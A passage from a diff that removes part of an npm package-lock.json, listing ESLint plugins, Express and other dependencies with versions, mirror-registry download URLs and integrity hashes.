-        "optionator": "^0.9.1",
-        "progress": "^2.0.0",
-        "regexpp": "^3.1.0",
-        "semver": "^7.2.1",
-        "strip-ansi": "^6.0.0",
-        "strip-json-comments": "^3.1.0",
-        "table": "^6.0.9",
-        "text-table": "^0.2.0",
-        "v8-compile-cache": "^2.0.3"
-      },
-      "dependencies": {
-        "@babel/code-frame": {
-          "version": "7.12.11",
-          "resolved": "https://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.12.11.tgz",
-          "integrity": "sha1-9K1DWqJj25NbjxDyxVLSP7cWpj8=",
-          "requires": {
-            "@babel/highlight": "^7.10.4"
-          }
-        },
-        "cross-spawn": {
-          "version": "7.0.3",
-          "resolved": "https://registry.npm.taobao.org/cross-spawn/download/cross-spawn-7.0.3.tgz",
-          "integrity": "sha1-9zqFudXUHQRVUcF34ogtSshXKKY=",
-          "requires": {
-            "path-key": "^3.1.0",
-            "shebang-command": "^2.0.0",
-            "which": "^2.0.1"
-          }
-        },
-        "escape-string-regexp": {
-          "version": "4.0.0",
-          "resolved": "https://registry.npm.taobao.org/escape-string-regexp/download/escape-string-regexp-4.0.0.tgz?cache=0&sync_timestamp=1618677309735&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fescape-string-regexp%2Fdownload%2Fescape-string-regexp-4.0.0.tgz",
-          "integrity": "sha1-FLqDpdNz49MR5a/KKc9b+tllvzQ="
-        },
-        "eslint-utils": {
-          "version": "2.1.0",
-          "resolved": "https://registry.nlark.com/eslint-utils/download/eslint-utils-2.1.0.tgz?cache=0&sync_timestamp=1620975524854&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-utils%2Fdownload%2Feslint-utils-2.1.0.tgz",
-          "integrity": "sha1-0t5eA0JOcH3BDHQGjd7a5wh0Gyc=",
-          "requires": {
-            "eslint-visitor-keys": "^1.1.0"
-          },
-          "dependencies": {
-            "eslint-visitor-keys": {
-              "version": "1.3.0",
-              "resolved": "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-1.3.0.tgz",
-              "integrity": "sha1-MOvR73wv3/AcOk8VEESvJfqwUj4="
-            }
-          }
-        },
-        "globals": {
-          "version": "13.9.0",
-          "resolved": "https://registry.nlark.com/globals/download/globals-13.9.0.tgz?cache=0&sync_timestamp=1622088036473&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fglobals%2Fdownload%2Fglobals-13.9.0.tgz",
-          "integrity": "sha1-S/K/Y1szShc/sdr3xeayGOzcBss=",
-          "requires": {
-            "type-fest": "^0.20.2"
-          }
-        },
-        "ignore": {
-          "version": "4.0.6",
-          "resolved": "https://registry.npm.taobao.org/ignore/download/ignore-4.0.6.tgz",
-          "integrity": "sha1-dQ49tYYgh7RzfrrIIH/9HvJ7Jfw="
-        },
-        "path-key": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npm.taobao.org/path-key/download/path-key-3.1.1.tgz?cache=0&sync_timestamp=1617971632960&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fpath-key%2Fdownload%2Fpath-key-3.1.1.tgz",
-          "integrity": "sha1-WB9q3mWMu6ZaDTOA3ndTKVBU83U="
-        },
-        "shebang-command": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/shebang-command/download/shebang-command-2.0.0.tgz",
-          "integrity": "sha1-zNCvT4g1+9wmW4JGGq8MNmY/NOo=",
-          "requires": {
-            "shebang-regex": "^3.0.0"
-          }
-        },
-        "shebang-regex": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/shebang-regex/download/shebang-regex-3.0.0.tgz",
-          "integrity": "sha1-rhbxZE2HPsrYQ7AwexQzYtTEIXI="
-        },
-        "which": {
-          "version": "2.0.2",
-          "resolved": "https://registry.npm.taobao.org/which/download/which-2.0.2.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fwhich%2Fdownload%2Fwhich-2.0.2.tgz",
-          "integrity": "sha1-fGqN0KY2oDJ+ELWckobu6T8/UbE=",
-          "requires": {
-            "isexe": "^2.0.0"
-          }
-        }
-      }
-    },
-    "eslint-config-react-app": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npm.taobao.org/eslint-config-react-app/download/eslint-config-react-app-6.0.0.tgz",
-      "integrity": "sha1-zP+fyONrMikChEy9eRl5gr41Wg4=",
-      "requires": {
-        "confusing-browser-globals": "^1.0.10"
-      }
-    },
-    "eslint-import-resolver-node": {
-      "version": "0.3.4",
-      "resolved": "https://registry.npm.taobao.org/eslint-import-resolver-node/download/eslint-import-resolver-node-0.3.4.tgz",
-      "integrity": "sha1-hf+oGULCUBLYIxCW3fZ5wDBCxxc=",
-      "requires": {
-        "debug": "^2.6.9",
-        "resolve": "^1.13.1"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "eslint-module-utils": {
-      "version": "2.6.1",
-      "resolved": "https://registry.nlark.com/eslint-module-utils/download/eslint-module-utils-2.6.1.tgz",
-      "integrity": "sha1-tRvh5HPdDeHF6mOOIkKcJJDqgjM=",
-      "requires": {
-        "debug": "^3.2.7",
-        "pkg-dir": "^2.0.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "3.2.7",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-3.2.7.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-3.2.7.tgz",
-          "integrity": "sha1-clgLfpFF+zm2Z2+cXl+xALk0F5o=",
-          "requires": {
-            "ms": "^2.1.1"
-          }
-        },
-        "find-up": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-2.1.0.tgz",
-          "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
-          "requires": {
-            "locate-path": "^2.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-2.0.0.tgz",
-          "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=",
-          "requires": {
-            "p-locate": "^2.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npm.taobao.org/p-limit/download/p-limit-1.3.0.tgz?cache=0&sync_timestamp=1606288333421&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-limit%2Fdownload%2Fp-limit-1.3.0.tgz",
-          "integrity": "sha1-uGvV8MJWkJEcdZD8v8IBDVSzzLg=",
-          "requires": {
-            "p-try": "^1.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-locate/download/p-locate-2.0.0.tgz",
-          "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=",
-          "requires": {
-            "p-limit": "^1.1.0"
-          }
-        },
-        "p-try": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-try/download/p-try-1.0.0.tgz",
-          "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M="
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.nlark.com/path-exists/download/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU="
-        },
-        "pkg-dir": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/pkg-dir/download/pkg-dir-2.0.0.tgz",
-          "integrity": "sha1-9tXREJ4Z1j7fQo4L1X4Sd3YVM0s=",
-          "requires": {
-            "find-up": "^2.1.0"
-          }
-        }
-      }
-    },
-    "eslint-plugin-flowtype": {
-      "version": "5.7.2",
-      "resolved": "https://registry.nlark.com/eslint-plugin-flowtype/download/eslint-plugin-flowtype-5.7.2.tgz",
-      "integrity": "sha1-SCpC/l0V7mFGUu0lbTdUPVhNe8A=",
-      "requires": {
-        "lodash": "^4.17.15",
-        "string-natural-compare": "^3.0.1"
-      }
-    },
-    "eslint-plugin-import": {
-      "version": "2.23.4",
-      "resolved": "https://registry.nlark.com/eslint-plugin-import/download/eslint-plugin-import-2.23.4.tgz",
-      "integrity": "sha1-jc6x7Wtz5G5Q7JpbskEbZF59PZc=",
-      "requires": {
-        "array-includes": "^3.1.3",
-        "array.prototype.flat": "^1.2.4",
-        "debug": "^2.6.9",
-        "doctrine": "^2.1.0",
-        "eslint-import-resolver-node": "^0.3.4",
-        "eslint-module-utils": "^2.6.1",
-        "find-up": "^2.0.0",
-        "has": "^1.0.3",
-        "is-core-module": "^2.4.0",
-        "minimatch": "^3.0.4",
-        "object.values": "^1.1.3",
-        "pkg-up": "^2.0.0",
-        "read-pkg-up": "^3.0.0",
-        "resolve": "^1.20.0",
-        "tsconfig-paths": "^3.9.0"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "doctrine": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npm.taobao.org/doctrine/download/doctrine-2.1.0.tgz",
-          "integrity": "sha1-XNAfwQFiG0LEzX9dGmYkNxbT850=",
-          "requires": {
-            "esutils": "^2.0.2"
-          }
-        },
-        "find-up": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npm.taobao.org/find-up/download/find-up-2.1.0.tgz",
-          "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
-          "requires": {
-            "locate-path": "^2.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/locate-path/download/locate-path-2.0.0.tgz",
-          "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=",
-          "requires": {
-            "p-locate": "^2.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        },
-        "p-limit": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npm.taobao.org/p-limit/download/p-limit-1.3.0.tgz?cache=0&sync_timestamp=1606288333421&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fp-limit%2Fdownload%2Fp-limit-1.3.0.tgz",
-          "integrity": "sha1-uGvV8MJWkJEcdZD8v8IBDVSzzLg=",
-          "requires": {
-            "p-try": "^1.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-locate/download/p-locate-2.0.0.tgz",
-          "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=",
-          "requires": {
-            "p-limit": "^1.1.0"
-          }
-        },
-        "p-try": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npm.taobao.org/p-try/download/p-try-1.0.0.tgz",
-          "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M="
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.nlark.com/path-exists/download/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU="
-        },
-        "resolve": {
-          "version": "1.20.0",
-          "resolved": "https://registry.npm.taobao.org/resolve/download/resolve-1.20.0.tgz",
-          "integrity": "sha1-YpoBP7P3B1XW8LeTXMHCxTeLGXU=",
-          "requires": {
-            "is-core-module": "^2.2.0",
-            "path-parse": "^1.0.6"
-          }
-        }
-      }
-    },
-    "eslint-plugin-jest": {
-      "version": "24.3.6",
-      "resolved": "https://registry.nlark.com/eslint-plugin-jest/download/eslint-plugin-jest-24.3.6.tgz?cache=0&sync_timestamp=1619396609589&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-plugin-jest%2Fdownload%2Feslint-plugin-jest-24.3.6.tgz",
-      "integrity": "sha1-XwygGRg8MYjFrTr46AtB3myOkXM=",
-      "requires": {
-        "@typescript-eslint/experimental-utils": "^4.0.1"
-      }
-    },
-    "eslint-plugin-jsx-a11y": {
-      "version": "6.4.1",
-      "resolved": "https://registry.npm.taobao.org/eslint-plugin-jsx-a11y/download/eslint-plugin-jsx-a11y-6.4.1.tgz",
-      "integrity": "sha1-othMqkl1aUL0Lx/6uQAkNjkXGP0=",
-      "requires": {
-        "@babel/runtime": "^7.11.2",
-        "aria-query": "^4.2.2",
-        "array-includes": "^3.1.1",
-        "ast-types-flow": "^0.0.7",
-        "axe-core": "^4.0.2",
-        "axobject-query": "^2.2.0",
-        "damerau-levenshtein": "^1.0.6",
-        "emoji-regex": "^9.0.0",
-        "has": "^1.0.3",
-        "jsx-ast-utils": "^3.1.0",
-        "language-tags": "^1.0.5"
-      },
-      "dependencies": {
-        "emoji-regex": {
-          "version": "9.2.2",
-          "resolved": "https://registry.npm.taobao.org/emoji-regex/download/emoji-regex-9.2.2.tgz?cache=0&sync_timestamp=1614682725186&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Femoji-regex%2Fdownload%2Femoji-regex-9.2.2.tgz",
-          "integrity": "sha1-hAyIA7DYBH9P8M+WMXazLU7z7XI="
-        }
-      }
-    },
-    "eslint-plugin-react": {
-      "version": "7.24.0",
-      "resolved": "https://registry.nlark.com/eslint-plugin-react/download/eslint-plugin-react-7.24.0.tgz",
-      "integrity": "sha1-6t7fo1Gm82tJCqF/T6mxToQrnrQ=",
-      "requires": {
-        "array-includes": "^3.1.3",
-        "array.prototype.flatmap": "^1.2.4",
-        "doctrine": "^2.1.0",
-        "has": "^1.0.3",
-        "jsx-ast-utils": "^2.4.1 || ^3.0.0",
-        "minimatch": "^3.0.4",
-        "object.entries": "^1.1.4",
-        "object.fromentries": "^2.0.4",
-        "object.values": "^1.1.4",
-        "prop-types": "^15.7.2",
-        "resolve": "^2.0.0-next.3",
-        "string.prototype.matchall": "^4.0.5"
-      },
-      "dependencies": {
-        "doctrine": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npm.taobao.org/doctrine/download/doctrine-2.1.0.tgz",
-          "integrity": "sha1-XNAfwQFiG0LEzX9dGmYkNxbT850=",
-          "requires": {
-            "esutils": "^2.0.2"
-          }
-        },
-        "resolve": {
-          "version": "2.0.0-next.3",
-          "resolved": "https://registry.npm.taobao.org/resolve/download/resolve-2.0.0-next.3.tgz",
-          "integrity": "sha1-1BAWKT1KhYajnKXZtfFcvqH1XkY=",
-          "requires": {
-            "is-core-module": "^2.2.0",
-            "path-parse": "^1.0.6"
-          }
-        }
-      }
-    },
-    "eslint-plugin-react-hooks": {
-      "version": "4.2.0",
-      "resolved": "https://registry.nlark.com/eslint-plugin-react-hooks/download/eslint-plugin-react-hooks-4.2.0.tgz?cache=0&sync_timestamp=1622835042439&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-plugin-react-hooks%2Fdownload%2Feslint-plugin-react-hooks-4.2.0.tgz",
-      "integrity": "sha1-jCKcJo1GiVYzTJQ7tF/IYCgPVVY="
-    },
-    "eslint-plugin-testing-library": {
-      "version": "3.10.2",
-      "resolved": "https://registry.nlark.com/eslint-plugin-testing-library/download/eslint-plugin-testing-library-3.10.2.tgz",
-      "integrity": "sha1-YJ7CsDadp88ubZ7f9doVPMMdh70=",
-      "requires": {
-        "@typescript-eslint/experimental-utils": "^3.10.1"
-      },
-      "dependencies": {
-        "@typescript-eslint/experimental-utils": {
-          "version": "3.10.1",
-          "resolved": "https://registry.nlark.com/@typescript-eslint/experimental-utils/download/@typescript-eslint/experimental-utils-3.10.1.tgz",
-          "integrity": "sha1-4Xn/yBqA68ri6gTgMy+LJRNFpoY=",
-          "requires": {
-            "@types/json-schema": "^7.0.3",
-            "@typescript-eslint/types": "3.10.1",
-            "@typescript-eslint/typescript-estree": "3.10.1",
-            "eslint-scope": "^5.0.0",
-            "eslint-utils": "^2.0.0"
-          }
-        },
-        "@typescript-eslint/types": {
-          "version": "3.10.1",
-          "resolved": "https://registry.nlark.com/@typescript-eslint/types/download/@typescript-eslint/types-3.10.1.tgz",
-          "integrity": "sha1-HXRj+nwy2KI6tQioA8ov4m51hyc="
-        },
-        "@typescript-eslint/typescript-estree": {
-          "version": "3.10.1",
-          "resolved": "https://registry.nlark.com/@typescript-eslint/typescript-estree/download/@typescript-eslint/typescript-estree-3.10.1.tgz",
-          "integrity": "sha1-/QBhzDit1PrUUTbWVECFafNluFM=",
-          "requires": {
-            "@typescript-eslint/types": "3.10.1",
-            "@typescript-eslint/visitor-keys": "3.10.1",
-            "debug": "^4.1.1",
-            "glob": "^7.1.6",
-            "is-glob": "^4.0.1",
-            "lodash": "^4.17.15",
-            "semver": "^7.3.2",
-            "tsutils": "^3.17.1"
-          }
-        },
-        "@typescript-eslint/visitor-keys": {
-          "version": "3.10.1",
-          "resolved": "https://registry.nlark.com/@typescript-eslint/visitor-keys/download/@typescript-eslint/visitor-keys-3.10.1.tgz",
-          "integrity": "sha1-zUJ0dz4+tjsuhwrGAidEh+zR6TE=",
-          "requires": {
-            "eslint-visitor-keys": "^1.1.0"
-          }
-        },
-        "eslint-utils": {
-          "version": "2.1.0",
-          "resolved": "https://registry.nlark.com/eslint-utils/download/eslint-utils-2.1.0.tgz?cache=0&sync_timestamp=1620975524854&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-utils%2Fdownload%2Feslint-utils-2.1.0.tgz",
-          "integrity": "sha1-0t5eA0JOcH3BDHQGjd7a5wh0Gyc=",
-          "requires": {
-            "eslint-visitor-keys": "^1.1.0"
-          }
-        },
-        "eslint-visitor-keys": {
-          "version": "1.3.0",
-          "resolved": "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-1.3.0.tgz",
-          "integrity": "sha1-MOvR73wv3/AcOk8VEESvJfqwUj4="
-        }
-      }
-    },
-    "eslint-scope": {
-      "version": "5.1.1",
-      "resolved": "https://registry.npm.taobao.org/eslint-scope/download/eslint-scope-5.1.1.tgz",
-      "integrity": "sha1-54blmmbLkrP2wfsNUIqrF0hI9Iw=",
-      "requires": {
-        "esrecurse": "^4.3.0",
-        "estraverse": "^4.1.1"
-      }
-    },
-    "eslint-utils": {
-      "version": "3.0.0",
-      "resolved": "https://registry.nlark.com/eslint-utils/download/eslint-utils-3.0.0.tgz?cache=0&sync_timestamp=1620975524854&other_urls=https%3A%2F%2Fregistry.nlark.com%2Feslint-utils%2Fdownload%2Feslint-utils-3.0.0.tgz",
-      "integrity": "sha1-iuuvrOc0W7M1WdsKHxOh0tSMNnI=",
-      "requires": {
-        "eslint-visitor-keys": "^2.0.0"
-      }
-    },
-    "eslint-visitor-keys": {
-      "version": "2.1.0",
-      "resolved": "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-2.1.0.tgz",
-      "integrity": "sha1-9lMoJZMFknOSyTjtROsKXJsr0wM="
-    },
-    "eslint-webpack-plugin": {
-      "version": "2.5.4",
-      "resolved": "https://registry.nlark.com/eslint-webpack-plugin/download/eslint-webpack-plugin-2.5.4.tgz",
-      "integrity": "sha1-RzuEky8ajiwrjmakAtBJe/RAuYY=",
-      "requires": {
-        "@types/eslint": "^7.2.6",
-        "arrify": "^2.0.1",
-        "jest-worker": "^26.6.2",
-        "micromatch": "^4.0.2",
-        "normalize-path": "^3.0.0",
-        "schema-utils": "^3.0.0"
-      },
-      "dependencies": {
-        "schema-utils": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npm.taobao.org/schema-utils/download/schema-utils-3.0.0.tgz",
-          "integrity": "sha1-Z1AvaqK2ai1AMrQnmilEl4oJE+8=",
-          "requires": {
-            "@types/json-schema": "^7.0.6",
-            "ajv": "^6.12.5",
-            "ajv-keywords": "^3.5.2"
-          }
-        }
-      }
-    },
-    "espree": {
-      "version": "7.3.1",
-      "resolved": "https://registry.npm.taobao.org/espree/download/espree-7.3.1.tgz?cache=0&sync_timestamp=1607143957865&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fespree%2Fdownload%2Fespree-7.3.1.tgz",
-      "integrity": "sha1-8t8zC3Usb1UBn4vYm3ZgA5wbu7Y=",
-      "requires": {
-        "acorn": "^7.4.0",
-        "acorn-jsx": "^5.3.1",
-        "eslint-visitor-keys": "^1.3.0"
-      },
-      "dependencies": {
-        "eslint-visitor-keys": {
-          "version": "1.3.0",
-          "resolved": "https://registry.nlark.com/eslint-visitor-keys/download/eslint-visitor-keys-1.3.0.tgz",
-          "integrity": "sha1-MOvR73wv3/AcOk8VEESvJfqwUj4="
-        }
-      }
-    },
-    "esprima": {
-      "version": "4.0.1",
-      "resolved": "https://registry.nlark.com/esprima/download/esprima-4.0.1.tgz",
-      "integrity": "sha1-E7BM2z5sXRnfkatph6hpVhmwqnE="
-    },
-    "esquery": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npm.taobao.org/esquery/download/esquery-1.4.0.tgz",
-      "integrity": "sha1-IUj/w4uC6McFff7UhCWz5h8PJKU=",
-      "requires": {
-        "estraverse": "^5.1.0"
-      },
-      "dependencies": {
-        "estraverse": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npm.taobao.org/estraverse/download/estraverse-5.2.0.tgz",
-          "integrity": "sha1-MH30JUfmzHMk088DwVXVzbjFOIA="
-        }
-      }
-    },
-    "esrecurse": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npm.taobao.org/esrecurse/download/esrecurse-4.3.0.tgz",
-      "integrity": "sha1-eteWTWeauyi+5yzsY3WLHF0smSE=",
-      "requires": {
-        "estraverse": "^5.2.0"
-      },
-      "dependencies": {
-        "estraverse": {
-          "version": "5.2.0",
-          "resolved": "https://registry.npm.taobao.org/estraverse/download/estraverse-5.2.0.tgz",
-          "integrity": "sha1-MH30JUfmzHMk088DwVXVzbjFOIA="
-        }
-      }
-    },
-    "estraverse": {
-      "version": "4.3.0",
-      "resolved": "https://registry.npm.taobao.org/estraverse/download/estraverse-4.3.0.tgz",
-      "integrity": "sha1-OYrT88WiSUi+dyXoPRGn3ijNvR0="
-    },
-    "estree-walker": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npm.taobao.org/estree-walker/download/estree-walker-1.0.1.tgz",
-      "integrity": "sha1-MbxdYSyWtwQQa0d+bdXYqhOMtwA="
-    },
-    "esutils": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npm.taobao.org/esutils/download/esutils-2.0.3.tgz",
-      "integrity": "sha1-dNLrTeC42hKTcRkQ1Qd1ubcQ72Q="
-    },
-    "etag": {
-      "version": "1.8.1",
-      "resolved": "https://registry.npm.taobao.org/etag/download/etag-1.8.1.tgz",
-      "integrity": "sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc="
-    },
-    "eventemitter3": {
-      "version": "4.0.7",
-      "resolved": "https://registry.npm.taobao.org/eventemitter3/download/eventemitter3-4.0.7.tgz?cache=0&sync_timestamp=1598517724259&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feventemitter3%2Fdownload%2Feventemitter3-4.0.7.tgz",
-      "integrity": "sha1-Lem2j2Uo1WRO9cWVJqG0oHMGFp8="
-    },
-    "events": {
-      "version": "3.3.0",
-      "resolved": "https://registry.npm.taobao.org/events/download/events-3.3.0.tgz",
-      "integrity": "sha1-Mala0Kkk4tLEGagTrrLE6HjqdAA="
-    },
-    "eventsource": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npm.taobao.org/eventsource/download/eventsource-1.1.0.tgz?cache=0&sync_timestamp=1616041748498&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Feventsource%2Fdownload%2Feventsource-1.1.0.tgz",
-      "integrity": "sha1-AOjKfJIQnpSw3fMtrGd9hBAoz68=",
-      "requires": {
-        "original": "^1.0.0"
-      }
-    },
-    "evp_bytestokey": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npm.taobao.org/evp_bytestokey/download/evp_bytestokey-1.0.3.tgz",
-      "integrity": "sha1-f8vbGY3HGVlDLv4ThCaE4FJaywI=",
-      "requires": {
-        "md5.js": "^1.3.4",
-        "safe-buffer": "^5.1.1"
-      }
-    },
-    "exec-sh": {
-      "version": "0.3.6",
-      "resolved": "https://registry.npm.taobao.org/exec-sh/download/exec-sh-0.3.6.tgz?cache=0&sync_timestamp=1616789108646&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fexec-sh%2Fdownload%2Fexec-sh-0.3.6.tgz",
-      "integrity": "sha1-/yZPnjJVGaYMteJzaSlDSDzKY7w="
-    },
-    "execa": {
-      "version": "1.0.0",
-      "resolved": "https://registry.nlark.com/execa/download/execa-1.0.0.tgz",
-      "integrity": "sha1-xiNqW7TfbW8V6I5/AXeYIWdJ3dg=",
-      "requires": {
-        "cross-spawn": "^6.0.0",
-        "get-stream": "^4.0.0",
-        "is-stream": "^1.1.0",
-        "npm-run-path": "^2.0.0",
-        "p-finally": "^1.0.0",
-        "signal-exit": "^3.0.0",
-        "strip-eof": "^1.0.0"
-      }
-    },
-    "exit": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npm.taobao.org/exit/download/exit-0.1.2.tgz",
-      "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw="
-    },
-    "expand-brackets": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npm.taobao.org/expand-brackets/download/expand-brackets-2.1.4.tgz",
-      "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=",
-      "requires": {
-        "debug": "^2.3.3",
-        "define-property": "^0.2.5",
-        "extend-shallow": "^2.0.1",
-        "posix-character-classes": "^0.1.0",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "debug": {
-          "version": "2.6.9",
-          "resolved": "https://registry.npm.taobao.org/debug/download/debug-2.6.9.tgz?cache=0&sync_timestamp=1607566551397&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fdebug%2Fdownload%2Fdebug-2.6.9.tgz",
-          "integrity": "sha1-XRKFFd8TT/Mn6QpMk/Tgd6U2NB8=",
-          "requires": {
-            "ms": "2.0.0"
-          }
-        },
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.nlark.com/define-property/download/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        },
-        "extend-shallow": {
-          "version": "2.0.1",
-          "resolved": "https://registry.npm.taobao.org/extend-shallow/download/extend-shallow-2.0.1.tgz",
-          "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=",
-          "requires": {
-            "is-extendable": "^0.1.0"
-          }
-        },
-        "ms": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npm.taobao.org/ms/download/ms-2.0.0.tgz?cache=0&sync_timestamp=1607433856030&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fms%2Fdownload%2Fms-2.0.0.tgz",
-          "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
-        }
-      }
-    },
-    "expect": {
-      "version": "26.6.2",
-      "resolved": "https://registry.nlark.com/expect/download/expect-26.6.2.tgz?cache=0&sync_timestamp=1622290216947&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fexpect%2Fdownload%2Fexpect-26.6.2.tgz",
-      "integrity": "sha1-xrmWvya/P+GLZ7LQ9R/JgbqTRBc=",
-      "requires": {
-        "@jest/types": "^26.6.2",
-        "ansi-styles": "^4.0.0",
-        "jest-get-type": "^26.3.0",
-        "jest-matcher-utils": "^26.6.2",
-        "jest-message-util": "^26.6.2",
-        "jest-regex-util": "^26.0.0"
-      }
-    },
-    "express": {
-      "version": "4.17.1",
-      "resolved": "https://registry.npm.taobao.org/express/download/express-4.17.1.tgz?cache=0&sync_timestamp=1617800788152&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fexpress%2Fdownload%2Fexpress-4.17.1.tgz",
-      "integrity": "sha1-RJH8OGBc9R+GKdOcK10Cb5ikwTQ=",
-      "requires": {
-        "accepts": "~1.3.7",
-        "array-flatten": "1.1.1",
-        "body-parser": "1.19.0",
-        "content-disposition": "0.5.3",
-        "content-type": "~1.0.4",
-        "cookie": "0.4.0",
-        "cookie-signature": "1.0.6",
-        "debug": "2.6.9",
-        "depd": "~1.1.2",
-        "encodeurl": "~1.0.2",
-        "escape-html": "~1.0.3",
-        "etag": "~1.8.1",
-        "finalhandler": "~1.1.2",
-        "fresh": "0.5.2",
-        "merge-descriptors": "1.0.1",
-        "methods": "~1.1.2",
-        "on-finished": "~2.3.0",
